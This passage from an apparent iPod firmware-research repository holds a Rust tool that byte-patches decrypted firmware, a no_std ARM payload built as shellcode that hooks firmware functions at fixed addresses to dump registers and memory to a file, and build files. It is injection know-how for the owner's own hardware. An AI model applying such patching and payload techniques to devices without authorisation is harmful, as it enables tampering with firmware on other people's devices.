BASE_OFFSET + idx, b0); 57 | idx += 1; 58 | 59 | // If first byte is non-null then there will be a second byte 60 | if b0 != 0 { 61 | let b1 = buf[2]; 62 | 63 | out_buf[idx as usize + BASE_OFFSET as usize] = b1; 64 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b1); 65 | idx += 1; 66 | 67 | // If second byte is non-null then there will be a third byte 68 | if b1 != 0 { 69 | let b2 = buf[3]; 70 | 71 | out_buf[idx as usize + BASE_OFFSET as usize] = b2; 72 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b2); 73 | idx += 1; 74 | 75 | if b2 != 0 { 76 | let b3 = buf[4]; 77 | 78 | out_buf[idx as usize + BASE_OFFSET as usize] = b3; 79 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b3); 80 | idx += 1; 81 | 82 | if b3 != 0 { 83 | let b4 = buf[5]; 84 | 85 | out_buf[idx as usize + BASE_OFFSET as usize] = b4; 86 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b4); 87 | idx += 1; 88 | 89 | if b4 != 0 { 90 | let b5 = buf[6]; 91 | 92 | out_buf[idx as usize + BASE_OFFSET as usize] = b5; 93 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b5); 94 | idx += 1; 95 | 96 | if b5 != 0 { 97 | let b6 = buf[7]; 98 | 99 | out_buf[idx as usize + BASE_OFFSET as usize] = b6; 100 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b6); 101 | idx += 1; 102 | 103 | if b6 != 0 { 104 | let b7 = buf[8]; 105 | 106 | out_buf[idx as usize + BASE_OFFSET as usize] = b7; 107 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b7); 108 | idx += 1; 109 | 110 | if b7 != 0 { 111 | let b8 = buf[9]; 112 | 113 | out_buf[idx as usize + BASE_OFFSET as usize] = b8; 114 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b8); 115 | idx += 1; 116 | 117 | if b8 != 0 { 118 | let b9 = buf[10]; 119 | 120 | out_buf[idx as usize + BASE_OFFSET as usize] = b9; 121 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b9); 122 | idx += 1; 123 | 124 | if b9 != 0 { 125 | let b10 = buf[11]; 126 | 127 | out_buf[idx as usize + BASE_OFFSET as usize] = b10; 128 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + BASE_OFFSET + idx, b10); 129 | idx += 1; 130 | 131 | } 132 | 133 | } 134 | 135 | } 136 | 137 | } 138 | 139 | } 140 | 141 | } 142 | 143 | } 144 | 145 | } 146 | 147 | } 148 | 149 | } 150 | 151 | std::fs::write("./out.bin", &out_buf).unwrap(); 152 | 153 | info!("Unbind"); 154 | std::fs::write("/sys/bus/usb/drivers/usb/unbind", "1-3").unwrap(); 155 | sleep(Duration::from_millis(4500)); 156 | info!("Bind"); 157 | std::fs::write("/sys/bus/usb/drivers/usb/bind", "1-3").unwrap(); 158 | sleep(Duration::from_millis(4500)); 159 | 160 | break; 161 | } 162 | }; 163 | } 164 | 165 | Ok(()) 166 | 167 | } 168 | -------------------------------------------------------------------------------- /tools/research/osos_patcher/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/osos_patcher/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "osos_patcher" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /tools/research/osos_patcher/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "osos_patcher" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /tools/research/osos_patcher/cfw.sh: -------------------------------------------------------------------------------- 1 | cargo r --release && ~/Downloads/ipod/wInd3x/wInd3x cfw run patched.bin -------------------------------------------------------------------------------- /tools/research/osos_patcher/src/main.rs: -------------------------------------------------------------------------------- 1 | struct Patcher { 2 | data: Vec 3 | } 4 | 5 | impl Patcher { 6 | fn new(b: &[u8]) -> Self { 7 | Self { 8 | data: b.to_vec(), 9 | } 10 | } 11 | 12 | fn patch(&mut self, orig: &[u8], new: &[u8]) { 13 | println!("Patching {orig:X?} with {new:X?}"); 14 | // Must be same length 15 | assert_eq!(orig.len(), new.len()); 16 | 17 | // Find start of original data 18 | let start = self.data.windows(orig.len()).position(|window| window == orig).unwrap(); 19 | 20 | // Copy the data over original data 21 | self.data[start..(start+orig.len())].copy_from_slice(new); 22 | 23 | // Make sure the original is gone now, if its still here then the pattern is too generic 24 | assert!(self.data.windows(orig.len()).position(|window| window == orig).is_none()); 25 | 26 | } 27 | } 28 | 29 | fn main() { 30 | let file = include_bytes!("../osos.fw.decrypted"); 31 | let mut p = Patcher::new(file); 32 | 33 | p.patch( 34 | &[ 0x0b, 0xb0, 0xf0, 0xbd, 0x60, 0x68, 0x04, 0x9b, 0x02, 0x99, 0x00, 0x22], 35 | &[ 36 | 0x01, 0x4f, /*ldr r7, [pc, #4]*/ 37 | 0xb8, 0x47, /* blx r7 */ 38 | 0x0b, 0xb0, 0xf0, 0xbd, 39 | 40 | //082e22b4 41 | 0xb4, 0x22, 0x2e, 0x08, 42 | ] 43 | ); 44 | 45 | let orig = &[ 0xf7, 0xb5, 0xa2, 0xb0, 0x04, 0x46, 0x00, 0x20, 0xc0, 0x43, 0x21, 0x90, 0xa0, 0x69, 0x01, 0x22, 0x20, 0x90, 0x00, 0x20, 0x1f, 0x90, 0x1e, 0x90, 0x1d, 0x90, 0x20, 0x69, 0xe6, 0x68 ]; 46 | let start = p.data.windows(orig.len()).position(|window| window == orig).unwrap(); 47 | let rep = std::fs::read("/home/cub3d/projects/ipod/ramdump_patching/patch_payload/out").unwrap(); 48 | let dat = &mut p.data[start..][..rep.len()]; 49 | dat.copy_from_slice(&rep); 50 | 51 | /* test rust patching 52 | //08310b30 in patcgbin 53 | p.patch( 54 | &[ 0xf7, 0xb5, 0xa2, 0xb0, 0x04, 0x46, 0x00, 0x20, 0xc0, 0x43, 0x21, 0x90, 0xa0, 0x69, 0x01, 0x22, 0x20, 0x90, 0x00, 0x20, 0x1f, 0x90, 0x1e, 0x90, 0x1d, 0x90, 0x20, 0x69, 0xe6, 0x68 ], 55 | &[ 56 | 0xfe, 0xff, 0xff, 0xea, 57 | 58 | 0, 0, 0xa0, 0xe3, 59 | 0x1e, 0xff, 0x2f, 0xe1, 60 | 0x1e, 0xff, 0x2f, 0xe1, 61 | // 0x1e, 0xff, 0x2f, 0xe1, 62 | 0x1e, 0xff, 0x2f, 0xe1, 63 | 0x1e, 0xff, 0x2f, 0xe1, 64 | 0x1e, 0xff, 0x2f, 0xe1, 65 | 0, 0 66 | ] 67 | );*/ 68 | 69 | /* 70 | 71 | // Change print string to print as hex 72 | p.patch(b"\t%d%% in DMIA\n", b"\t%x\n\0\0\0\0\0\0\0\0\0\0"); 73 | 74 | // Replace playing music with loop prefix + nops 75 | p.patch( 76 | &[0xe1, 0x69, 0x20, 0x6a, 0x42, 0x1a, 0x28, 0xa1, 0x01, 0xa8, 0xb7, 0xf0, 0xec, 0xfb, 0x01, 0xa8, 0xb1, 0xf0, 0xbb, 0xfa, 0x02, 0x46, 0x04, 0x99, 0x20, 0x46, 0x02, 0xf1, 0x62, 0xfd, 0x3a, 0x46, 0x2b, 0xa1, 0x01, 0xa8, 0xb7, 0xf0, 0xdf, 0xfb, 0x01, 0xa8, 0xb1, 0xf0, 0xae, 0xfa, 0x02, 0x46, 0x04, 0x99, 0x20, 0x46, 0x02, 0xf1, 0x55, 0xfd], 77 | &[ 78 | 79 | 0x4f, 0xf0, 0x00, 0x05, /* mov r5, 0 */ 80 | 0x4f, 0xf0, 0x00, 0x07, /* mov r7, 0x0 */ 81 | 0xfc, 0x37, /* adds r7, 0xfc */ 82 | 0x3f, 0x44, /* add r7, r7 */ 83 | 0x3f, 0x44, /* add r7, r7 */ 84 | 0x3f, 0x44, /* add r7, r7 */ 85 | 0x3f, 0x44, /* add r7, r7 */ 86 | 0x3f, 0x44, /* add r7, r7 */ 87 | 0x3f, 0x44, /* add r7, r7 */ 88 | 0x3f, 0x44, /* add r7, r7 */ 89 | 0x3f, 0x44, /* add r7, r7 */ 90 | 0x3f, 0x44, /* add r7, r7 */ 91 | 92 | 0xc0, 0x46, 93 | 0xc0, 0x46, 94 | 0xc0, 0x46, 95 | 0xc0, 0x46, 96 | 0xc0, 0x46, 97 | 0xc0, 0x46, 98 | 0xc0, 0x46, 99 | 100 | 101 | /* DO NOT MOVE THIS, THE ADDRESS IS RIPREL */ 102 | /* should be placed @ 0810d4c2 */ 103 | /* This loads the start addr from the memory that was used to store the "Total log length percentage string" */ 104 | 0x1f, 0xa7, /* adr r7, 0x6c*/ 105 | 0x3d, 0x68, /* mov r5, [r7]*/ 106 | 0xc0, 0x46, 107 | 108 | /* DO NOT MOVE THIS, THE ADDRESS IS RIPREL */ 109 | /* should be placed @ 0810d4c8 */ 110 | /* This loads the count from the memory that was used to store the "Playing music percentage string" */ 111 | /* ldr r7, []*/ 112 | 0x27, 0xa7, 113 | 114 | 0x3f, 0x68, /* mov r7, [r7]*/ 115 | 116 | /* nops*/ 117 | 0x00, 0x46, /* becomes mov r2, r5 */ 118 | 0x00, 0x46, /* becomes nop */ 119 | ] 120 | ); 121 | 122 | //let heap_struct = 0x086cfb9c; 123 | let start_addr: u32 = 0x086cf000; 124 | let end_addr: u32 = start_addr + (0x100000 - 0xfc); 125 | 126 | //let end_addr: u32 = 0x22000000 + 0x100100; 127 | //let start_addr: u32 = 0x22000000 + 0xfc; 128 | 129 | // Replace the log legnth string with the start address for dumping 130 | let start_addr = start_addr.to_le_bytes(); 131 | p.patch(b"\tTotal log length is ", &[start_addr[0],start_addr[1],start_addr[2],start_addr[3], 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]); 132 | 133 | 134 | // Replace the playing music string with the count of bytes to dump 135 | let end_addr = end_addr.to_le_bytes(); 136 | p.patch(b"\t%d%% Playing Music\n", &[end_addr[0], end_addr[1], end_addr[2], end_addr[3], 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]); 137 | 138 | // Replace sleep state with loop counter inc + check, branch 139 | p.patch( 140 | &[ 0x2a, 0x46, 0x28, 0xa1, 0x01, 0xa8, 0xb7, 0xf0, 0xc5, 0xfb, 0x01, 0xa8, 0xb1, 0xf0, 0x94, 0xfa, 0x02, 0x46, 0x04, 0x99, 0x20, 0x46, 0x02, 0xf1, 0x3b, 0xfd ], 141 | &[ 142 | 0xc0, 0x46, /* nop */ 143 | 144 | 0x04, 0x35, /* adds r5, 4 */ 145 | //0xb5, 0x42, /* cmp r5, r6 */ 146 | 147 | 0xc0, 0x46, /* nop */ 148 | 0xc0, 0x46, /* nop */ 149 | 0xc0, 0x46, /* nop */ 150 | 0xc0, 0x46, /* nop */ 151 | //0x4f, 0xf0, 0x10, 0x07, /* mov r7, 0x10 */ 152 | //0x10, 0x2d, /* cmp r5, 0x10 */ 153 | 0xbd, 0x42, /* cmp r5, r7 */ 154 | 155 | 0xe8, 0xd1, /* bne lbl (start of dmia print) */ 156 | 157 | /* nops*/ 158 | 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46 ] 159 | ); 160 | 161 | // Remove the idle print 162 | p.patch( 163 | &[0x64, 0x20, 0xc1, 0x1b, 0x00, 0x98, 0x09, 0x1a, 0x4a, 0x1b, 0x23, 0xa1, 0x01, 0xa8, 0xb7, 0xf0, 0xb4, 0xfb, 0x01, 0xa8, 0xb1, 0xf0, 0x83, 0xfa, 0x02, 0x46, 0x04, 0x99, 0x20, 0x46, 0x02, 0xf1, 0x2a, 0xfd], 164 | 165 | &[0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46, 0x00, 0x46], 166 | ); 167 | 168 | // Change dmia print to use *(r5 + offset) as value to log 169 | p.patch( 170 | &[ 0x3f, 0x68, 0x00, 0x46, 0x00, 0x46, 0x00, 0x9a], 171 | &[ 0x3f, 0x68, 172 | 0x2a, 0x46, /* mov r2, r5 */ 173 | // 0xff, 0x32, /* adds r2, 0xff */ 174 | 0xc0, 0x46, /* nop */ 175 | 0x12, 0x68 /* ldr r2, [r2] */ 176 | ], 177 | );*/ 178 | 179 | //2210dd30 180 | 181 | std::fs::write("./patched.bin", p.data).unwrap(); 182 | } 183 | 184 | 185 | //TODO later: 186 | // check the riprel address in ghidra 187 | // Load the starting val for r5 from the ram 188 | // Remove the adds 189 | // Test 190 | -------------------------------------------------------------------------------- /tools/research/patch_payload/.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [unstable] 2 | build-std = ["core", "compiler_builtins"] 3 | build-std-features = ["compiler-builtins-mem"] 4 | 5 | #[build] 6 | #target = "x86_64-unknown-uefi.json" 7 | #rustflags = ["-C", "linker=arm-none-eabi-gcc"] 8 | 9 | [build] 10 | rustflags = ["-C", "link-arg=-nostdlib", "-C", "link-arg=-static", "-C", "relocation-model=pic", "-C", "link-arg=-Tshellcode.ld"] 11 | target = "arm-unknown-linux-gnueabi" 12 | #target = "shellcode.json" 13 | 14 | [target.arm-unknown-linux-gnueabi] 15 | linker = "arm-linux-gnueabi-gcc" 16 | -------------------------------------------------------------------------------- /tools/research/patch_payload/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/patch_payload/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "patch_payload" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /tools/research/patch_payload/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "patch_payload" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | 9 | [dependencies] 10 | 11 | [profile.dev] 12 | panic = "abort" 13 | opt-level = "z" 14 | lto = true 15 | codegen-units = 1 16 | 17 | [profile.release] 18 | panic = "abort" 19 | opt-level = "z" 20 | lto = true 21 | codegen-units = 1 22 | -------------------------------------------------------------------------------- /tools/research/patch_payload/shellcode.ld: -------------------------------------------------------------------------------- 1 | ENTRY(_start); 2 | 3 | SECTIONS 4 | { 5 | . = ALIGN(16); 6 | .text : 7 | { 8 | *(.text.prologue) 9 | *(.text) 10 | *(.rodata) 11 | } 12 | .data : 13 | { 14 | *(.data) 15 | } 16 | 17 | /DISCARD/ : 18 | { 19 | *(.interp) 20 | *(.comment) 21 | *(.debug_frame) 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /tools/research/patch_payload/src/main.rs: -------------------------------------------------------------------------------- 1 | #![allow(internal_features, unused_variables)] 2 | #![feature(lang_items, start, rustc_private)] 3 | #![no_std] 4 | #![no_main] 5 | #![feature(naked_functions)] 6 | #![feature(abi_x86_interrupt)] 7 | #![feature(abi_unadjusted)] 8 | 9 | use core::arch::asm; 10 | 11 | //22310b48 12 | 13 | #[no_mangle] 14 | #[naked] 15 | pub unsafe extern "C" fn _start() { 16 | asm!(" 17 | ldr r1, [sp, #0x48] 18 | push {{r0, lr}} 19 | push {{r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12}} 20 | mov r0, sp 21 | sub sp, 0x100 22 | blx {} 23 | add sp, 0x100 24 | pop {{r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12}} 25 | pop {{r0, lr}} 26 | mov r0, 1 27 | bx lr 28 | ", sym _init, options(noreturn)) 29 | } 30 | 31 | 32 | #[no_mangle] 33 | pub extern "C" fn _init(regs: &mut [u32; 7], ptr: u32) { 34 | let r0 = regs[0]; 35 | let r1 = regs[1]; 36 | let r2 = regs[2]; 37 | let r3 = regs[3]; 38 | let r4 = regs[4]; 39 | let r5 = regs[5]; 40 | let r6 = regs[6]; 41 | 42 | 43 | let alloc_align2 = unsafe { core::mem::transmute::<_, fn(u32) -> u32>(0x0818eb44 + 1) }; 44 | let file_stream_ctor = unsafe { core::mem::transmute::<_, fn(u32, *mut Str, u32, u32, u32, u32, u32)>(0x0819878c + 1) }; 45 | let file_stream_write = unsafe { core::mem::transmute::<_, fn(u32, u32, *const u8, *mut u32)>(0x0819888c + 1) }; 46 | let file_stream_dtor = unsafe { core::mem::transmute::<_, fn(u32)>(0x081ada78 + 1) }; 47 | let file_stream_delete = unsafe { core::mem::transmute::<_, fn(u32)>(0x08191cdc + 1) }; 48 | 49 | { 50 | let mut s = Str::new_from_bytes(b"test_file.txt\0"); 51 | let file_stream = alloc_align2(0x54); 52 | file_stream_ctor(file_stream, &mut s as *mut _, 0, 0, 0x400, 1, 0); 53 | drop(s); 54 | 55 | let mut out = 0u32; 56 | let buf = [0u8; 0x800]; 57 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 58 | 59 | file_stream_dtor(file_stream); 60 | file_stream_delete(file_stream); 61 | } 62 | 63 | let mut s = Str::new_from_bytes(b"test_file.txt\0"); 64 | 65 | let file_stream = alloc_align2(0x54); 66 | file_stream_ctor(file_stream, &mut s as *mut _, 0, 0, 0x400, 1, 0); 67 | drop(s); 68 | 69 | for x in regs { 70 | let mut out = 0u32; 71 | let buf = x.to_le_bytes(); 72 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 73 | } 74 | 75 | let mut out = 0u32; 76 | let buf = ptr.to_le_bytes(); 77 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 78 | 79 | let count = unsafe { (ptr as *mut u32).offset(0).read_volatile() }; 80 | let buf_ptr = unsafe { (ptr as *mut u32).offset(1).read_volatile() }; 81 | 82 | let mut out = 0u32; 83 | let buf = count.to_le_bytes(); 84 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 85 | 86 | let mut out = 0u32; 87 | let buf = buf_ptr.to_le_bytes(); 88 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 89 | 90 | let mut out = 0u32; 91 | let buf = [b'A' as u8; 8]; 92 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 93 | 94 | let buf_ptr = buf_ptr - 0x20; 95 | 96 | for x in 0..0x300 { 97 | let buf_ptr = unsafe { (buf_ptr as *mut u8).offset(x).read_volatile() }; 98 | 99 | let mut out = 0u32; 100 | let buf = [buf_ptr]; 101 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 102 | } 103 | 104 | /*let mut out = 0u32; 105 | let buf = [b'A' as u8; 8]; 106 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 107 | 108 | 109 | for off in 0u32..100 { 110 | // read stack 111 | let x: u32; 112 | unsafe { 113 | asm!("ldr {}, [sp, {}]", out(reg) x, in(reg) off); 114 | } 115 | 116 | let mut out = 0u32; 117 | let buf = x.to_le_bytes(); 118 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 119 | }*/ 120 | 121 | // r4 and r6 seem to have ptrs in them, good, maybe can get buffer ptr and dump what comes after 122 | 123 | /* let buf = [b'B' as u8; 8]; 124 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _);*/ 125 | 126 | /*let r4 = r4 as *mut u32; 127 | 128 | for x in 0..20 { 129 | let buf_ptr = unsafe { r4.offset(x).read_volatile() }; 130 | 131 | let mut out = 0u32; 132 | let buf = buf_ptr.to_le_bytes(); 133 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 134 | } 135 | 136 | let buf = [b'C' as u8; 8]; 137 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 138 | 139 | let buf_ptr = unsafe { r4.offset(9).read_volatile() } as *mut u32; 140 | 141 | for x in 0..20 { 142 | let buf_ptr = unsafe { buf_ptr.offset(x).read_volatile() }; 143 | 144 | let mut out = 0u32; 145 | let buf = buf_ptr.to_le_bytes(); 146 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 147 | }*/ 148 | 149 | /* 150 | let mut our_buffer = 0 as *mut u8; 151 | 152 | unsafe { 153 | // let mut base = 0x0BB00000 as *mut u8; 154 | // let end = 0x0C00000; 155 | 156 | let mut base = 0x09900000 as *mut u8; 157 | let end = 0x09A00000; 158 | let tgt = [0x00u8, 0x00 , 0x0B , 0xDC , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x05 , 0x70 , 0x6D , 0x64 , 0x69 , 0x61]; 159 | 'outer: loop { 160 | base = base.offset(1); 161 | 162 | if base as u32 > end { 163 | let mut out = 0u32; 164 | let buf = [b'E' as u8; 4]; 165 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 166 | 167 | let mut out = 0u32; 168 | let buf = [b'F' as u8; 4]; 169 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 170 | 171 | let mut out = 0u32; 172 | let buf = [b'E' as u8; 4]; 173 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 174 | break; 175 | } 176 | 177 | for x in 0isize..tgt.len() as isize { 178 | if base.offset(x).read_volatile() != tgt[x as usize] { 179 | continue 'outer; 180 | } 181 | } 182 | 183 | our_buffer = base; 184 | 185 | let mut out = 0u32; 186 | let buf = [b'E' as u8; 4]; 187 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 188 | 189 | let mut out = 0u32; 190 | let buf = (base as u32).to_le_bytes(); 191 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 192 | 193 | let mut out = 0u32; 194 | let buf = [b'E' as u8; 4]; 195 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 196 | 197 | break; 198 | } 199 | } 200 | 201 | if our_buffer != 0 as *mut u8 { 202 | let mut out = 0u32; 203 | let buf = [b'A' as u8; 8]; 204 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 205 | 206 | for x in 0..0x10 { 207 | let mut out = 0u32; 208 | let buf = unsafe { (our_buffer as *mut u32).offset(x).read_volatile() }.to_le_bytes(); 209 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 210 | } 211 | 212 | let buf = [b'B' as u8; 8]; 213 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 214 | }*/ 215 | 216 | /* 217 | let alloc_count = unsafe { r4.read_volatile() }; 218 | let buf_ptr = unsafe { r4.offset(1).read_volatile() }; 219 | 220 | // *(r4) = alloc count 221 | // *(r4 + 4) = buf ptr 222 | 223 | let mut out = 0u32; 224 | let buf = alloc_count.to_le_bytes(); 225 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 226 | 227 | let mut out = 0u32; 228 | let buf = buf_ptr.to_le_bytes(); 229 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _);*/ 230 | 231 | /* let mut out = 0u32; 232 | let buf = [b'D' as u8; 8]; 233 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _);*/ 234 | 235 | /* 236 | let buf_ptr = (buf_ptr - 0x10) as *mut u8; 237 | for x in 0..0x20 { 238 | let mut out = 0u32; 239 | let buf = unsafe { buf_ptr.offset(x).read_volatile() }.to_le_bytes(); 240 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 241 | } 242 | 243 | let mut out = 0u32; 244 | let buf = [b'D' as u8; 8]; 245 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _);*/ 246 | 247 | // Pad buffer 248 | /* for _ in 0..20 { 249 | let mut out = 0u32; 250 | let mut buf = [b'F' as u8; 10]; 251 | file_stream_write(file_stream, buf.len() as _, buf.as_ptr(), &mut out as *mut _); 252 | }*/ 253 | 254 | file_stream_dtor(file_stream); 255 | file_stream_delete(file_stream); 256 | } 257 | 258 | #[repr(C)] 259 | struct Str { 260 | vtbl: u32, 261 | buf: u32, 262 | } 263 | 264 | impl Str { 265 | pub fn new_from_bytes(tmp: &'static [u8]) -> Self { 266 | let mut s = Str { 267 | buf: 0, 268 | vtbl: 0, 269 | }; 270 | let string_ctor = unsafe { core::mem::transmute::<_, fn(*mut Str)>(0x0827f444 + 1) }; 271 | string_ctor(&mut s as *mut _); 272 | let string_from_str = unsafe { core::mem::transmute::<_, fn(*mut Str, *const u8)>(0x08196c00 + 1) }; 273 | string_from_str(&mut s as *mut _, tmp.as_ptr()); 274 | s 275 | } 276 | } 277 | 278 | impl Drop for Str { 279 | fn drop(&mut self) { 280 | let string_dtor = unsafe { core::mem::transmute::<_, fn(*mut Str)>(0x0827f28c + 1) }; 281 | string_dtor(self as *mut _); 282 | } 283 | } 284 | 285 | 286 | #[lang = "eh_personality"] 287 | fn rust_eh_personality() {} 288 | 289 | 290 | use core::panic::PanicInfo; 291 | 292 | #[panic_handler] 293 | fn panic_handler(_info: &PanicInfo) -> ! { 294 | loop {} 295 | } 296 | -------------------------------------------------------------------------------- /tools/research/test_payload_in_osos/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/test_payload_in_osos/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "bitflags" 7 | version = "1.3.2" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 10 | 11 | [[package]] 12 | name = "cc" 13 | version = "1.0.83" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" 16 | dependencies = [ 17 | "libc", 18 | ] 19 | 20 | [[package]] 21 | name = "cfg-if" 22 | version = "1.0.0" 23 | source = "registry+https://github.com/rust-lang/crates.io-index" 24 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 25 | 26 | [[package]] 27 | name = "cmake" 28 | version = "0.1.50" 29 | source = "registry+https://github.com/rust-lang/crates.io-index" 30 | checksum = "a31c789563b815f77f4250caee12365734369f942439b7defd71e18a48197130" 31 | dependencies = [ 32 | "cc", 33 | ] 34 | 35 | [[package]] 36 | name = "getrandom" 37 | version = "0.2.10" 38 | source = "registry+https://github.com/rust-lang/crates.io-index" 39 | checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" 40 | dependencies = [ 41 | "cfg-if", 42 | "libc", 43 | "wasi", 44 | ] 45 | 46 | [[package]] 47 | name = "goblin" 48 | version = "0.7.1" 49 | source = "registry+https://github.com/rust-lang/crates.io-index" 50 | checksum = "f27c1b4369c2cd341b5de549380158b105a04c331be5db9110eef7b6d2742134" 51 | dependencies = [ 52 | "log", 53 | "plain", 54 | "scroll", 55 | ] 56 | 57 | [[package]] 58 | name = "itoa" 59 | version = "1.0.9" 60 | source = "registry+https://github.com/rust-lang/crates.io-index" 61 | checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" 62 | 63 | [[package]] 64 | name = "libc" 65 | version = "0.2.149" 66 | source = "registry+https://github.com/rust-lang/crates.io-index" 67 | checksum = "a08173bc88b7955d1b3145aa561539096c421ac8debde8cbc3612ec635fee29b" 68 | 69 | [[package]] 70 | name = "log" 71 | version = "0.4.20" 72 | source = "registry+https://github.com/rust-lang/crates.io-index" 73 | checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" 74 | 75 | [[package]] 76 | name = "md5" 77 | version = "0.7.0" 78 | source = "registry+https://github.com/rust-lang/crates.io-index" 79 | checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" 80 | 81 | [[package]] 82 | name = "pkg-config" 83 | version = "0.3.27" 84 | source = "registry+https://github.com/rust-lang/crates.io-index" 85 | checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" 86 | 87 | [[package]] 88 | name = "plain" 89 | version = "0.2.3" 90 | source = "registry+https://github.com/rust-lang/crates.io-index" 91 | checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" 92 | 93 | [[package]] 94 | name = "ppv-lite86" 95 | version = "0.2.17" 96 | source = "registry+https://github.com/rust-lang/crates.io-index" 97 | checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" 98 | 99 | 